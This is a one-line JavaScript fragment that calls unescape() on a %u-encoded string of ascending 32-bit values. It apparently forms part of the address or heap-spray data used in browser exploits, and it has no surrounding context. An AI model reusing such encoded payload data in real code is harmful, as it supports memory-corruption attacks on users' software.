unescape("%u0000%u35c0%u0000%u35c4%u0000%u35c8%u0000%u35cc%u0000%u35d0%u0000%u35d4%u0000%u35d8%u0000%u35dc%u0000%u35e0%u0000%u35e4%u0000%u35e8%u0000%u35ec%u0000%u35f0%u0000%u35f4%u0000%u35f8%u0000%u35fc");